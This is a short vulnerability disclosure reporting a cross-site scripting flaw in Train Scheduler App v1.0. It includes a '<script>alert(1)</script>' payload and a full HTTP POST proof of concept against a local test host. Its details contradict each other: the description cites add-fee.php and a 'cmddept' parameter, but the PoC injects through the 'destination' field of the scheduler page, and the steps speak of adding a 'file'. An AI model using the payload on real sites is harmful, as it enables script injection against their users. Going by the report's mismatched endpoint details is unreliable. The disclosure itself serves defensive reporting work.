Vulnerability Description

Train Scheduler App v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the add-fee.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

1. BUG_Author: Tr0e
2. vendors: sourcecodester.com;
3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
4. Vulnerability location: /train_scheduler_app/?id=&code=aaa&name=bbb&destination=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duration=60&eta=30

Vulnerability Verification

[+] Payload:

```
<script>alert(1)</script>
```

POC：

```
POST http://192.168.0.111:91/train_scheduler_app/ HTTP/1.1
Host: 192.168.0.111:91
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.0.111:91/train_scheduler_app/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

id=&code=aaa&name=bbb&destination=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duration=6
```

How to verify

Build the vulnerability environment according to the steps provided by the source code author and execute the Payload provided above.

The vulnerability is located at the "Save Schedule" function, you shuold inserts Payload when you add new file， as shown in the following figure：